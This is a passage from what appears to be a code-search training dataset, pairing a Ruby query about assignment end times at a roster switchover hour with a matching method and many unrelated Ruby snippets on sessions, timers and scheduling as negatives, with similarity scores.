"def started\n # @insession\n # @sesdata\n # byebug\n #print @insession.id\n #print @sesdata.name\n @user= User.find_by(auth: session[:htu_usa])\n\n\n end",
"def session; end",
"def session; end",
"def session; end",
"def session; end",
"def start_session(params={}, &proc)\n raise \"HornetQ::Client::session mandatory block missing\" unless proc\n session = nil\n begin\n session = create_session(params)\n session.start\n proc.call(session)\n ensure\n session.close if session\n end\n end",
"def restart\n stop\n start\nend",
"def kill_session\n @authenticator.kill_session\n @session = ''\n end",
"def start_timer start_to_fire_timeout, options = {}\n options[:timer_id] ||= SecureRandom.uuid\n options[:start_to_fire_timeout] = start_to_fire_timeout\n duration_opts(options, :start_to_fire_timeout)\n add_decision :start_timer, options\n options[:timer_id]\n end",
"def start_keepalives\n @keepalive_timer.cancel if @keepalive_timer\n @keepalive_timer = EM::Synchrony.add_periodic_timer(KEEPALIVE_INTERVAL) do\n SpotifyWeb.run { api('sp/echo', 'h') }\n end\n end",
"def initialize_session\n response = @soap_client.call :initialize_session\n # Without ActiveSupport\n # 1.hour.from_now is 3600 seconds from Time.now\n @session_expiry_time = Time.now + 3600\n @session_id = response.body[:initialize_session_response][:initialize_session_result]\n end",
"def start_time\n session[:start_time] ||= (Time.now).to_s\n end",
"def initialize(args = {})\n @options = sanitize_arguments(DEFAULT_ARGS.merge(args))\n start_session\n start_keepalive_thread\n end",
"def start!\n raise 'Workshop must have at least one session to start.' if sessions.empty?\n\n sessions.each(&:assign_code)\n update!(started_at: Time.zone.now)\n\n # return nil in case any callers are still expecting a section\n nil\n end",
"def new_session\n open_session do |sess|\n sess.extend(SessionMethods)\n yield sess if block_given?\n end\n end",
"def session_good?\n return false if !session.alive?\n if @timed_out\n if get_session_age < @timed_out_age && @wait\n time_stamp(\"resumed\")\n @timed_out = false #reset timed out to false, if module set to wait and session becomes active again.\n end\n return !@timed_out\n end\n return true\n end",
"def start\n _connect\n sleep 1\n end",
"def restart\n stop\n start\n end",
"def start_periodic_timers; end",
"def start_periodic_timers; end",
"def renew_session\n @authenticator.kill_session\n @authenticator.get_session\n end",
"def session_timeout\n 86400 # 1.day\n end",
"def start_session(ip)\n @state = []\n if client_connection(ip)\n reply 220, \"#{get_server_domain} ESMTP service ready\"\n true\n else\n reply 554, \"#{get_server_domain} No SMTP service for you [#{ip}] here\"\n false # close connection after writing\n end\n end",
"def startTimer(sender)\n if @timer.nil?\n @start_button.setEnabled false\n @stop_button.setEnabled true\n @time = 0.0\n @timer = NSTimer\n .scheduledTimerWithTimeInterval(@timer_interval,\n target: self,\n selector: \"tick:\",\n userInfo: nil,\n repeats: true)\n end\n end",
"def session(options={}, &block)\n self.class.session self, &block\n end",
"def setup\n open_session\n end",
"def set_session\n unless logged_in?\n create_new_user\n clear_old_sessions if $USE_SQL_SESSION_MANAGEMENT\n # expire home page fragment caches after specified internal to keep it fresh\n if $CACHE_CLEARED_LAST.advance(:hours => $CACHE_CLEAR_IN_HOURS) < Time.now\n expire_cache('home')\n $CACHE_CLEARED_LAST = Time.now()\n end\n end\n end",
"def disable_sessions\n self.auto_capture_sessions = false\n @enable_sessions = false\n end",
"def set_session_time\n @session_time = SessionTime.where(id: params[:id]).limit(1).first\n if !@session_time.present?\n redirect_to '/errors/not_found'\n end\n end",
"def new_session(options)\n options[:source_profile] = options[:source_profile].to_sym\n options[:profile] = options[:profile].to_sym\n\n user_prof = user_profile(options[:source_profile], options[:config_file])\n options = user_prof.to_h.deep_merge(options).deep_symbolize_keys\n\n sb = SessionBuilder.new(\n mfa_device: mfa_device(options),\n session_duration_seconds: options[:duration],\n source_profile: user_prof\n )\n set_user_session_profile(options[:profile], sb.session_profile)\n end",
"def restart( timeout = 5 )\n stop( timeout )\n start\n end",
"def start_timer\n stop_timer\n @timer = EventMachine::PeriodicTimer.new(1) do\n #puts \"TIMER PROCESS ITERATE\"\n do_timer\n end\n end",
"def open\n session = @@opentok.create_session({media_mode: :routed})\n @session = Session.create(session_id: session.session_id,\n active: true)\n render json: @session\n end",
"def autostart; end",
"def limit_session_time\n set_session_time(Settings.gitlab['unauthenticated_session_expire_delay'])\n end",
"def open_session\n @current_session = new_session\n @current_session.test_case = self\n yield @current_session if block_given?\n @current_session\n end",
"def resume_session\n current_session = SessionTracker.get_current_session\n\n if current_session\n # if the session is paused then resume it, otherwise we don't need to\n # do anything\n if current_session[:paused?]\n current_session[:paused?] = false\n\n return true\n end\n else\n # if there's no current session, start a new one\n start_session\n end\n\n false\n end",
"def no_session # :nologin: :norobots:\n end",
"def session\n end",
"def create_session(start, opts = {})\n data, _status_code, _headers = create_session_with_http_info(start, opts)\n return data\n end",
"def start_session\n ssh_opts = filter_ssh_options(options)\n @ssh = Net::SSH.start(options[:hostname], options[:username], ssh_opts)\n rescue Net::SSH::Disconnect\n retry_count = retry_count.to_i + 1\n sleep 30 and retry if retry_count < 5\n raise(SSHCannotConnect, Errstr::CANNOT_CONNECT % options[:hostname])\n end",
"def cmd_twitt_start\n\t\t\t\tprint_status \"Starting to monitor sessions to Twitt\"\n\t\t\t\tif read_settings()\n\t\t\t\t\tself.framework.events.add_session_subscriber(self)\n\t\t\t\t\t@twitt_client = Twitter.configure do |config|\n\t\t\t\t\t\tconfig.consumer_key = @consumer_key\n\t\t\t\t\t\tconfig.consumer_secret = @consumer_secret\n\t\t\t\t\t\tconfig.oauth_token = @oauth_token\n\t\t\t\t\t\tconfig.oauth_token_secret = @oauth_token_secret\n\t\t\t\t\tend\n\t\t\t\t\tprint_good(\"Twitter Plugin Started, Monitoring Sessions\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"Could not set Twitter settings.\")\n\t\t\t\tend\n\t\t\tend",
"def verify_and_update_activity_timer\n\t\tif (has_valid_credentials) then\n\t\t # username is valid, login_time is valid, do the real checking\n\t\t inactivity = Time.now.to_i - session[:login_time]\n\t\t logger.error(\"VC: Checking timeout \" + inactivity.to_s + \" versus \" + inactivity_timeout.to_s)\n\n\t\t if (inactivity > inactivity_timeout) then\n\t\t # timeout! clobber the session\n\t\t flash[:error] = 'Session timed out; please login again to continue'\n\t\t clear_session()\n \t\t redirect_to :controller => 'application', :action => 'index'\n\t\t else\n\t\t # active session, update the timer\n\t\t logger.error(\"VC: Actively logged in, setting activity timer\")\n\t\t session[:login_time] = Time.now.to_i\n\t\t\tsessionPlayer = Player.find_by_id(session[:player_id])\n\t\t\tsessionPlayer.touch\n\t\t end\n\t\telse\n\t\t logger.error(\"VC: Not logged in, no timeout check\")\n\t\tend\n\tend",
"def start_session(website_id, login, password, cookie_expiry = 365.days.from_now)\n if (not login.blank?) && (not password.blank?)\n case request.method\n when :post\n ss_login = login.downcase\n qs = \"website_id = ? AND (login = ? OR email = ?)\"\n if User.exists?([qs, website_id, ss_login, ss_login])\n @user = User.first(:conditions => [qs, website_id, ss_login, ss_login])\n if @user.valid_password?(password)\n session[:user_id] = @user.id\n cookies[:USERLOGIN] = { :value => ss_login, :expires => cookie_expiry }\n set_user_login_record\n return true\n else\n @user = nil end\n end\n else\n set_user_login end\n end\n return false\n end",
"def session_end!(destroy=true)\n if destroy\n session.clear\n else\n session['sinatra.session'] = false\n end\n end",
"def start_session\n self.delete_session\n return @env['java.servlet_request'].session\n end",
"def reload\n @session_id = nil\n login\n end",
"def start\n $0 = \"vines: #{@id}\"\n\n @connection.connect\n @publisher.broadcast(:online)\n @subscriber.subscribe\n\n EM.add_periodic_timer(1) { heartbeat }\n\n at_exit do\n @publisher.broadcast(:offline)\n @sessions.delete_all(@id)\n end\n end",
"def invalidate_session\n @sequence = 0\n @session_id = nil\n end"
] |
[
"0.7459779",
"0.7091194",
"0.7028706",
"0.662788",
"0.65835184",
"0.6501576",
"0.6431445",
"0.635446",
"0.6350405",
"0.62872934",
"0.62767124",
"0.615367",
"0.60600543",
"0.60576093",
"0.6052897",
"0.6034506",
"0.6018608",
"0.60170615",
"0.5985841",
"0.5985428",
"0.5923099",
"0.5907243",
"0.58867264",
"0.5886554",
"0.58699286",
"0.58664256",
"0.5865203",
"0.5791861",
"0.57751864",
"0.5766644",
"0.5761218",
"0.5726228",
"0.5721923",
"0.5720398",
"0.5718594",
"0.5713276",
"0.5703956",
"0.570003",
"0.5684051",
"0.56743664",
"0.56647307",
"0.56462175",
"0.5629462",
"0.56260407",
"0.56240565",
"0.56140727",
"0.56039155",
"0.56028235",
"0.56011784",
"0.5597847",
"0.5578829",
"0.55601895",
"0.5552375",
"0.5552375",
"0.5552375",
"0.5552375",
"0.5551071",
"0.5545945",
"0.5536369",
"0.5531386",
"0.5522934",
"0.5522899",
"0.5522539",
"0.55034095",
"0.5502207",
"0.5500413",
"0.5499353",
"0.5499049",
"0.54962",
"0.5481564",
"0.5481564",
"0.5471515",
"0.54699504",
"0.54652184",
"0.5462293",
"0.54570925",
"0.54560393",
"0.5454161",
"0.54506314",
"0.54446614",
"0.5444008",
"0.54435825",
"0.54419076",
"0.5419066",
"0.5415156",
"0.54007447",
"0.5396977",
"0.5393908",
"0.53923917",
"0.53901047",
"0.5389329",
"0.53884244",
"0.5377272",
"0.53587866",
"0.53577685",
"0.535543",
"0.5354466",
"0.53509307",
"0.53491896",
"0.5346631"
] |
0.81947666
|
0
|
Assignments effectively end at the switchover hour on the following day.
|
def effective_end_datetime
end_date + 1.day + roster.switchover.minutes
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def end_of_hour\n change(:min => 59, :sec => 59)\n end",
"def hour_out\n @hour_out ||= time_out.hour\n end",
"def end_of_day\n change(:hour => 23, :min => 59, :sec => 59, :usec => 999999.999)\n end",
"def end_of_hour\n change(min: 59, sec: 59.999)\n end",
"def end_of_hour\n change(\n :min => 59,\n :sec => 59,\n :usec => 999999.999\n )\n end",
"def succ\n next_hour = Hour.new(\"12 AM\")\n\n next_time = (@hour + 1) % 24\n next_hour.instance_eval { @hour = next_time }\n #puts \" succ called: next_hour is #{next_hour}, #{@hour}, #{next_time}\"\n next_hour\n end",
"def local_middle_of_day\n change_local(hour: 12)\n end",
"def set_hour_created\n self.hour_created = Time.now.in_time_zone('Eastern Time (US & Canada)').hour\n end",
"def set_day_if_discarded; end",
"def hour() end",
"def set_effective_ending_on\n return true unless self.effective_starting_on\n\n latest_household = self.family.latest_household\n return true if self == latest_household\n\n latest_household.effective_ending_on = self.effective_starting_on - 1.day\n true\n end",
"def middle_of_day\n change(hour: 12)\n end",
"def middle_of_day\n change(hour: 12)\n end",
"def lazy_hour=(newhour)\n newhour = newhour.to_f\n \n #Add days for every 24 hours given.\n if newhour > 24 or newhour < 0\n days = (newhour.to_f / 24.0).floor\n newhour -= (days.to_f * 24.0)\n self.add_days(days)\n end\n \n #Convert any decimals to setting minute.\n diff = newhour - newhour.floor\n self.lazy_min = diff * 60 if diff > 0.0\n \n #Set the actual hour.\n self.hour = newhour.floor\n \n self\n end",
"def reduce_schedule(sch, start_hr, start_min, end_hr, end_min, setback_c)\n if sch.to_ScheduleRuleset.is_initialized\n sch = sch.to_ScheduleRuleset.get\n else\n return false\n end\n \n @infos << \"Modifying #{sch.name}\"\n \n start_time = OpenStudio::Time.new(0, start_hr, start_min, 0)\n end_time = OpenStudio::Time.new(0, end_hr, end_min, 0)\n crosses_midnight = false\n if start_time < end_time\n crosses_midnight = false\n elsif start_time > end_time\n crosses_midnight = true\n end\n \n @infos << \"crosses_midnight = #{crosses_midnight}\"\n \n day_profiles = []\n day_profiles << sch.defaultDaySchedule\n sch.scheduleRules.each do |rule|\n day_profiles << rule.daySchedule\n end\n \n day_profiles.each do |day_profile|\n\n #report out the original schedule\n @infos << \"Before setback:\"\n day_profile.times.zip(day_profile.values).each do |time,val|\n @infos << \"#{time} = #{val}\"\n end\n\n original_start_time_val = day_profile.getValue(start_time)\n original_end_time_val = day_profile.getValue(end_time)\n day_profile.addValue(start_time,original_start_time_val)\n day_profile.addValue(end_time,original_end_time_val)\n times_vals = day_profile.times.zip(day_profile.values)\n \n #report out the original schedule\n @infos << \"After adding breaks but before setback:\"\n day_profile.times.zip(day_profile.values).each do |time,val|\n @infos << \"#{time} = #{val}\"\n end\n \n #apply the setback\n times_vals.each do |time,val|\n if crosses_midnight == false\n if time > start_time and time <= end_time\n day_profile.addValue(time, val + setback_c)\n end\n elsif crosses_midnight == true\n if time <= end_time or time > start_time\n day_profile.addValue(time, val + setback_c)\n end\n end\n end #next time val pair in the schedule\n \n #report out the changed schedule\n @infos << \"After setback:\"\n day_profile.times.zip(day_profile.values).each do |time,val|\n @infos << \"#{time} = #{val}\"\n end\n \n end #next day profile\n \n return sch\n \n end",
"def end_of_hour\n change(\n min: 59,\n sec: 59,\n usec: Rational(999999999, 1000)\n )\n end",
"def hour=(newhour)\n newhour = newhour.to_i\n raise ArgumentError, \"Invalid hour: '#{newhour}'.\" if newhour < 0 or newhour > 24\n @t_hour = newhour\n return self\n end",
"def spent_on=(date)\n super\n self.tyear = spent_on ? spent_on.year : nil\n self.tmonth = spent_on ? spent_on.month : nil\n self.tweek = spent_on ? Date.civil(spent_on.year, spent_on.month, spent_on.day).cweek : nil\n self.spent_from = date\n self.spent_to = self.spent_from.advance(:hours=>hours) if self.spent_from && hours\n end",
"def shift_end_hour\n if self.start_time.hour >= 0 && self.start_time.hour <= 2 && self.end_time.hour > 2 \n errors.add(:end_time, 'must be between 7am and 3am')\n end\n if self.end_time.hour > 2 && self.end_time.hour < 7\n errors.add(:end_time, 'must be between 7am and 3am')\n end \n end",
"def propagate_start_and_end_times\n if @start_time && @start_time != shift.start_time\n self.starts_at = twenty_four_hour_time(@start_time)\n else\n self.starts_at = nil\n end\n if @end_time && @end_time != shift.end_time\n self.ends_at = twenty_four_hour_time(@end_time)\n else\n self.ends_at = nil\n end\n end",
"def end_of_day\n change(\n hour: 23,\n min: 59,\n sec: 59,\n usec: Rational(999999999, 1000)\n )\n end",
"def end_previous_assignment\n if self.employee.current_assignment != nil then \n current = self.employee.current_assignment\n current.end_date = self.start_date\n current.save!\n end\n end",
"def advance_hours(hours)\n self + (hours * 60 * 60)\n end",
"def end_hour_with_respecting_end_of_day\n if end_minute_without_respecting_end_of_day >= 59 and end_hour_without_respecting_end_of_day == 23\n 24\n else\n end_hour_without_respecting_end_of_day\n end\n end",
"def set_day_time_slot_for_non_selected\n if is_friday == true\n self.day2 = 0\n self.time_slot2 = 0\n elsif is_friday != true \n self.is_friday = false\n self.time_slot = 0\n end \n end",
"def set_new_time\n @dt_in = time_in.to_datetime\n update_column(:time_in, @dt_in.change(hour: hour_in.to_i, min: min_in.to_i))\n \n @dt_out = time_out.to_datetime\n update_column(:time_out, @dt_out.change(hour: hour_out.to_i, min: min_out.to_i))\n end",
"def update_activation_until\n new_activation_datetime = DateTime.now + 2.hours\n self.animals.each do |animal|\n animal.creature.update! activation_until: new_activation_datetime\n end\n end",
"def set_default_times\n if !self.start\n return\n end\n\n if self.start.hour == 0 # hour set to 0 if not otherwise defined...\n self.start = self.start + 9.hours\n end\n\n if !self.end\n if self.online?\n self.end = self.start + 1.hour\n else\n diff = 17 - self.start.hour\n self.end = self.start + diff.hours\n end\n end\n # TODO: Set timezone for online events. Where to get it from, though?\n # TODO: Check events form to add timezone autocomplete.\n # Get timezones from: https://timezonedb.com/download\n\n end",
"def reduce_schedule(day_sch, before_hour, before_min, before_value, after_hour, after_min, after_value)\n before_time = OpenStudio::Time.new(0, before_hour, before_min, 0)\n after_time = OpenStudio::Time.new(0, after_hour, after_min, 0)\n day_end_time = OpenStudio::Time.new(0, 24, 0, 0)\n \n # Special situation for when start time and end time are equal,\n # meaning that a 24hr reduction is desired\n if before_time == after_time\n day_sch.clearValues\n day_sch.addValue(day_end_time, after_value)\n return\n end\n\n original_value_at_after_time = day_sch.getValue(after_time)\n day_sch.addValue(before_time,before_value)\n day_sch.addValue(after_time, original_value_at_after_time)\n times = day_sch.times\n values = day_sch.values\n day_sch.clearValues\n\n new_times = []\n new_values = []\n for i in 0..(values.length - 1)\n if times[i] >= before_time and times[i] <= after_time\n new_times << times[i]\n new_values << values[i]\n end\n end\n\n #add the value for the time period from after time to end of the day\n new_times << day_end_time\n new_values << after_value\n\n for i in 0..(new_values.length - 1)\n day_sch.addValue(new_times[i], new_values[i])\n end\n end",
"def tick_tock\n @hour += 1\n @minute = 0\n @second = 0\n end",
"def before_connected_to_strava_at(tt = 8.hours)\n dt = connected_to_strava_at\n dt -= tt if dt\n dt\n end",
"def hour\n hour? ? at_hour : super\n end",
"def time=(value)\n # check if the weekdays property contains 'daily' - this will override any\n # other days that have been set\n if @resource[:weekdays].include? :daily or @resource[:weekdays].include? 'daily'\n veeamconfig('schedule', 'set', '--jobId', get_job_id, '--daily', '--at', \"#{value}\")\n else\n wd = @resource[:weekdays].join(',')\n veeamconfig('schedule', 'set', '--jobId', get_job_id, '--weekdays', \"#{wd}\", '--at', \"#{value}\")\n end\n end",
"def business_hours_later( hours)\n now = Time.now # freeze it here for this cycle of call, or it keeps changing every second\n wanted = (hours.to_i.hours / 1.second) # convert hours to seconds\n available = available_work_seconds( now) # how much available today\n # if we have enough time today, just tell the time possible today\n # if we will run out of time today, check next working day, add run-over seconds to the start-of-day\n (available > wanted) ? ( now + wanted.seconds) : ( next_workday(now) + (wanted - available).seconds)\n end",
"def after_last_work(start)\n if @values[start.wday].last_hour.nil?\n return start.next_day\n else \n start = start + HOUR * (@values[start.wday].last_hour - start.hour)\n start = start + MINUTE * (@values[start.wday].last_min - start.min + 1)\n return start\n end \n end",
"def reschedule_at(current_time, attempts)\n current_time + ((attempts**4) + 1).hours\n end",
"def hours_per_week= (hours_per_week)\n # fill in later\n end",
"def opening_hour\n 11\n end",
"def validate_hour_lock(time, schedule)\n hour = value || schedule.start_time.send(type)\n hour = 24 + hour if hour < 0\n if hour >= time.hour\n hour - time.hour\n else\n if dst_offset = TimeUtil.dst_change(time)\n hour - time.hour + dst_offset\n else\n 24 - time.hour + hour\n end\n end\n end",
"def hour\n set_function_and_argument(:hour, nil)\n end",
"def check_dates\r\n self.start_time -= 8.hours\r\n self.end_time -= 8.hours\r\n end",
"def shift_start_hour\n if self.start_time.hour > 2 && self.start_time.hour < 7\n errors.add(:start_time, 'must be between 7am and 2am')\n end \n end",
"def fill_schedule\n @schedule.each do |key,value|\n (6..20).each { |n| @schedule[key][\"#{n}:30 - #{n+1}:30\"] = \"0\" }\n end\n end",
"def update_balance dt\n @off_balance_timer.keys.each do |k|\n if @off_balance_timer[k] && (@off_balance_timer[k] -= dt) <= 0\n hear_line \"You have regained #{k.to_s}\"\n @off_balance_timer[k] = nil\n end\n end\n end",
"def change_time(hike_instance)\n system 'clear'\n puts \"-----MY HIKES-----\"\n hours = @prompt.ask(\"Enter time in hours: \", required: true, convert: :int) {|input| input.in('0-24')}\n minutes = 61\n while minutes > 60 || minutes < 0\n minutes = @prompt.ask(\"Enter time in minutes: \", required: true, convert: :int) {|input| input.in('0-60')}\n end\n hike_instance.time_hiked = (hours * 3600) + (minutes * 60)\n hike_instance.save\n puts \"New time saved.\"\n @prompt.keypress(\"Press any key to continue\")\n end",
"def add_hours(hours = 1)\n hours = hours.to_i\n cur_hour = @t_hour\n next_hour = cur_hour + hours\n \n if next_hour >= 24\n @t_hour = 0\n self.add_days(1)\n hours_left = (hours - 1) - (24 - cur_hour)\n self.add_hours(hours_left) if hours_left > 0\n elsif next_hour < 0\n @t_hour = 23\n self.add_days(-1)\n hours_left = hours + cur_hour + 1\n self.add_hours(hours_left) if hours_left < 0\n else\n @t_hour = next_hour\n end\n \n return self\n end",
"def end_hour\n hour = DateTime.parse(self.datep.to_s).hour\n hour_s = ''\n if(hour < 10)\n hour_s = '0'+hour.to_s\n else\n hour_s = hour.to_s\n end\n hour_s\n end",
"def assign_types\n @schedule[0].cost = :travel\n @schedule.each_cons(3) do |days|\n days[1].cost =\n if days[0].date + 1 == days[1].date && days[1].date+ 1 == days[2].date\n :full\n else\n :travel\n end\n end\n @schedule[-1].cost = :travel\n end",
"def set_day_hour\n @day_hour = DayHour.find(params[:id])\n end",
"def push_next_try_at\r\n self.next_try_at = 15.minutes.from_now\r\n end",
"def change_time_to_beginning_of_hour\n self.starts_at = self.starts_at.beginning_of_hour()\n self.ends_at = self.starts_at.end_of_hour()\n end",
"def setHour(hour)\r\n\t\t\t\t\t@hour = hour\r\n\t\t\t\tend",
"def adjust_for_happy_hour(preference)\n\n\t\tif($happy_hour and preference.quantity >= 2)\n\t\t\tpreference.price = preference.price/2\n\t\t\tpreference.save\n\t\t\tself.price -= preference.price\n\t\tend\n\n\t\tself.hh_flag = $happy_hour\n\n\t\tself.save\n\tend",
"def inspection_shedule#(last_inspect_date)\n \t#self.inspection_at = Date.today\n if self.inspection_at.nil?\n else\n if self.rebuke == true\n next_inspect_at = self.inspection_at.next_day()\n else\n next_inspect_at = self.inspection_at.next_year()\n end\n if next_inspect_at.cwday == 6\n \tself.next_inspection_at = next_inspect_at.next_day(2)\n elsif next_inspect_at.cwday == 7\n \tself.next_inspection_at = next_inspect_at.next_day()\n else\n self.next_inspection_at = next_inspect_at\n end\n end\n end",
"def save_hours\n @day = Schedule.find(params[:monthday])\n\n @pitch.schedule.h0 = hours[0]\n @pitch.schedule.h1 = hours[1]\n @pitch.schedule.h2 = hours[2]\n @pitch.schedule.h3 = hours[3]\n @pitch.schedule.h4 = hours[4]\n @pitch.schedule.h5 = hours[5]\n @pitch.schedule.h6 = hours[6]\n @pitch.schedule.h7 = hours[7]\n @pitch.schedule.h8 = hours[8]\n @pitch.schedule.h9 = hours[9]\n @pitch.schedule.h10 = hours[10]\n @pitch.schedule.h11 = hours[11]\n @pitch.schedule.h12 = hours[12]\n @pitch.schedule.h13 = hours[13]\n @pitch.schedule.h14 = hours[14]\n @pitch.schedule.h15 = hours[15]\n @pitch.schedule.h16 = hours[16]\n @pitch.schedule.h17 = hours[17]\n @pitch.schedule.h18 = hours[18]\n @pitch.schedule.h19 = hours[19]\n @pitch.schedule.h20 = hours[20]\n @pitch.schedule.h21 = hours[21]\n @pitch.schedule.h22 = hours[22]\n @pitch.schedule.h23 = hours[23]\n @pitch.schedule.h24 = hours[24]\n @pitch.schedule.h25 = hours[25]\n @pitch.schedule.h26 = hours[26]\n @pitch.schedule.h27 = hours[27]\n @pitch.schedule.h28 = hours[28]\n @pitch.schedule.h29 = hours[29]\n @pitch.schedule.h30 = hours[30]\n @pitch.schedule.h31 = hours[31]\n @pitch.schedule.h32 = hours[32]\n @pitch.schedule.h33 = hours[33]\n @pitch.schedule.h34 = hours[34]\n @pitch.schedule.h35 = hours[35]\n @pitch.schedule.h36 = hours[36]\n @pitch.schedule.h37 = hours[37]\n @pitch.schedule.h38 = hours[38]\n @pitch.schedule.h39 = hours[39]\n @pitch.schedule.h40 = hours[40]\n @pitch.schedule.h41 = hours[41]\n @pitch.schedule.h42 = hours[42]\n @pitch.schedule.h43 = hours[43]\n @pitch.schedule.h44 = hours[44]\n @pitch.schedule.h45 = hours[45]\n @pitch.schedule.h46 = hours[46]\n @pitch.schedule.h47 = hours[47]\n\n return hours\n end",
"def set_default_end_time\n if self.contact_end_time.blank? && self.contact_date_date == Date.today\n self.contact_end_time = Time.now.strftime(\"%H:%M\")\n end\n end",
"def set_day_if_discarded\n if @datetime && @options[:discard_day]\n @datetime = @datetime.change(day: 1)\n end\n end",
"def update!(**args)\n @special_hour_periods = args[:special_hour_periods] if args.key?(:special_hour_periods)\n end",
"def update!(**args)\n @special_hour_periods = args[:special_hour_periods] if args.key?(:special_hour_periods)\n end",
"def update!(**args)\n @special_hour_periods = args[:special_hour_periods] if args.key?(:special_hour_periods)\n end",
"def update!(**args)\n @special_hour_periods = args[:special_hour_periods] if args.key?(:special_hour_periods)\n end",
"def grandfather_clock &block\n current_hour = Time.new.hour\n if current_hour > 12\n current_hour = current_hour - 12\n current_hour.times do\n block.call\n end\n else\n current_hour.times do\n block.call\n end\n end\nend",
"def add_hour_dst(value)\n\t\t\ttemp = 0\n\t\t\ttemp = value.to_i\n\t\t\ttemp += 100\t\t\t\t\t# <-- add 1 hour for dst\n\t\t\t#reassign array value to dst timestamp:\n\t\t\tif temp < 1200\t\t\t#<-- if sunrise (need to manually add \"0\" to int\n\t\t\t\tvalue = \"0\"+temp.to_s\n\t\t\telsif\t\t\t\t\t\t\t\t#<-- if sunset\n\t\t\t\tvalue = temp.to_s\n\t\t\tend\n\t\t\treturn value\n\t\tend",
"def set_hours_worked_from_shift_list\n self.hours_worked=shift_list.hours_worked\n self.save\n end",
"def extendbyfourteendays\n updated_at = Time.now\n end",
"def target_response_time\n now = Time.now\n if Time.before_business_hours?(now)\n next_business_day = now.midnight\n else\n next_business_day = 1.business_day.after(now).midnight\n end\n due_date = 5.business_hour.after(next_business_day)\n end",
"def set_time(hr, min)\n time = self.current_time.split(\":\")\n time[0] = hr\n time[1] = min\n self.current_time = time.join(\":\")\n end",
"def grandfather_clock &block\n hour = Time.new.hour\n if hour >= 13\n hour = hour - 12\n end\n if hour == 0\n hour = 12\n end\n hour.times do\n block.call\n end\nend",
"def opening_hour\n 11 # 11am\n end",
"def add_vals_to_sch(day_sch, sch_type, values)\n if sch_type == \"Constant\"\n day_sch.addValue(OpenStudio::Time.new(0, 24, 0, 0), values[0])\n elsif sch_type == \"Hourly\"\n for i in 0..23\n next if values[i] == values[i + 1]\n day_sch.addValue(OpenStudio::Time.new(0, i + 1, 0, 0), values[i]) \n end \n else\n #OpenStudio::logFree(OpenStudio::Info, \"Adding space type: #{template}-#{clim}-#{building_type}-#{spc_type}\")\n end\n end",
"def hourly_wage= (hourly_wage)\n # fill in later\n end",
"def lvlup\n day = 60*60*24\n @level += 1\n case @level\n when 1\n @rep = Time.now+day\n when 2\n @rep = Time.now+day\n when 3\n @rep = Time.now+2*day\n when 4\n @rep = Time.now+3*day\n when 5\n @rep = Time.now+7*day\n when 6\n @rep = Time.now+180*day\n end\n end",
"def adjust_carry_forwards\n @public_holiday_collection.each do |ph|\n if ph.must_be_taken_after?\n new_date = next_working_day_after(ph.date)\n @public_holiday_hash.delete(ph.date)\n ph.adjust_date(new_date)\n @public_holiday_hash[new_date] = ph\n elsif ph.must_be_taken_before?\n new_date = last_working_day_before(ph.date)\n @public_holiday_hash.delete(ph.date)\n ph.adjust_date(new_date)\n @public_holiday_hash[new_date] = ph\n end\n\n end\n end",
"def update_times\n\t\t@today = Time.now\n\t\t@current_start_day = @today - MONTH\n\t\t@previous_start_day = @current_start_day - MONTH\n\tend",
"def configure_shift_end\n loop do\n begin\n Configuration::ShiftConfiguration.new.update_shift_end(\n prompt.ask(\"What time is your shift finished? (24h format, e.g. 18:00):\")\n )\n break\n rescue LogworkException::InvalidTime\n Utilities.log(\"Invalid time format\", { type: :error })\n\n # Break in case of rspec\n Utilities.rspec_running? && break\n end\n end\n end",
"def hour\n @hour ||= time_parts[0]\n end",
"def advance_by_a_day\n scheduler = Scheduler.new(tasks, user_preferences)\n tasks_and_time = scheduler.call\n\n advanced_tasks = tasks_and_time.map do |task, time_to_advance|\n task.running_calculation ||= task.completed_hours\n task.running_calculation += time_to_advance\n task\n end\n\n @tasks = advanced_tasks.reject do |task|\n task.running_calculation >= task.estimated_hours\n end + tasks.reject do |task|\n advanced_tasks.map(&:id).include? task.id\n end\n\n tasks_and_time\n end",
"def end_time\n ConfigVariable.new(name: 'END_TIME', pattern: TIME_PATTERN, human_pattern: \"HH:MM\").value\n end",
"def hours_until_next_allowed\n ((created_at - RECENT_PERIOD.ago) / 3600).to_i\n end",
"def hours_until_next_allowed\n ((created_at - RECENT_PERIOD.ago) / 3600).to_i\n end",
"def update_time_date\n start_year = self.start_at.change(:year => self.lesson_date.year)\n start_month = start_year.change(:month => self.lesson_date.month)\n start_day = start_month.change(:day => self.lesson_date.day)\n self.start_at = start_day\n\n end_year = self.end_at.change(:year => self.lesson_date.year)\n end_month = end_year.change(:month => self.lesson_date.month)\n end_day = end_month.change(:day => self.lesson_date.day)\n self.end_at = end_day\n end",
"def reassigned_date_time=(value)\n @reassigned_date_time = value\n end",
"def set_over_due(book)\n @borrowed_books[book.title.to_sym] = book\n time = Time.now - (60 * 60 * 24 * 30)\n\n @time_table[book.title.to_sym] = time\n puts \"#{book.title} is now set to overdue\"\n end",
"def reset\n @time_zone = 'Europe/London'\n @email_address = 'test.test@test.com'\n @start_time = Date.today.to_time + 1\n @end_time = (Date.today + 1).to_time - 1\n end",
"def initialize(hours)\n @hatched = hours\n end",
"def hours\n\n today = Date.today\n hours = {}\n #if @traveler.is_visitor? or @traveler.is_api_guest? #Return a wide range of hours\n if not @traveler or not @traveler.registered?\n (0..30).each do |n|\n hours[(today + n).to_s] = {open: \"07:00\", close: \"22:00\"}\n end\n\n else # This is not a guest, check to see if the traveler is registered with a service\n\n # NOTE(wilsonj806) For now this implementation does not let registered users\n #...book trips on weekends. Eventually we want to change that so they can do so\n\n if @traveler.booking_profiles.count > 0 #This user is registered with a service\n booking_profile = @traveler.booking_profiles.first\n service = booking_profile.service\n\n min_notice_days = (service.booking_details[:min_days] || 2).to_i\n max_notice_days = (service.booking_details[:max_days] || 14).to_i\n\n \n if service.booking_details[:trusted_users] and booking_profile.external_user_id.in? service.booking_details.try(:[], :trusted_users).split(',').map{ |x| x.strip }\n (1..21).each do |n|\n hours[(today + n).to_s] = {open: \"00:00\", close: \"23:59\"}\n end\n elsif service.schedules.count > 0 #This user's service has listed hours. This is the most common case.\n \n #Find out if we are past the cutoff for today. If so, start counting from tomorrow\n if service.booking_details[:cutoff_time] and (Time.now.in_time_zone.seconds_since_midnight > service.booking_details[:cutoff_time].to_i)\n day = Time.now + 1.days \n else\n day = Time.now\n end\n \n biz_days_count = 0\n (0..max_notice_days).each do |n|\n if 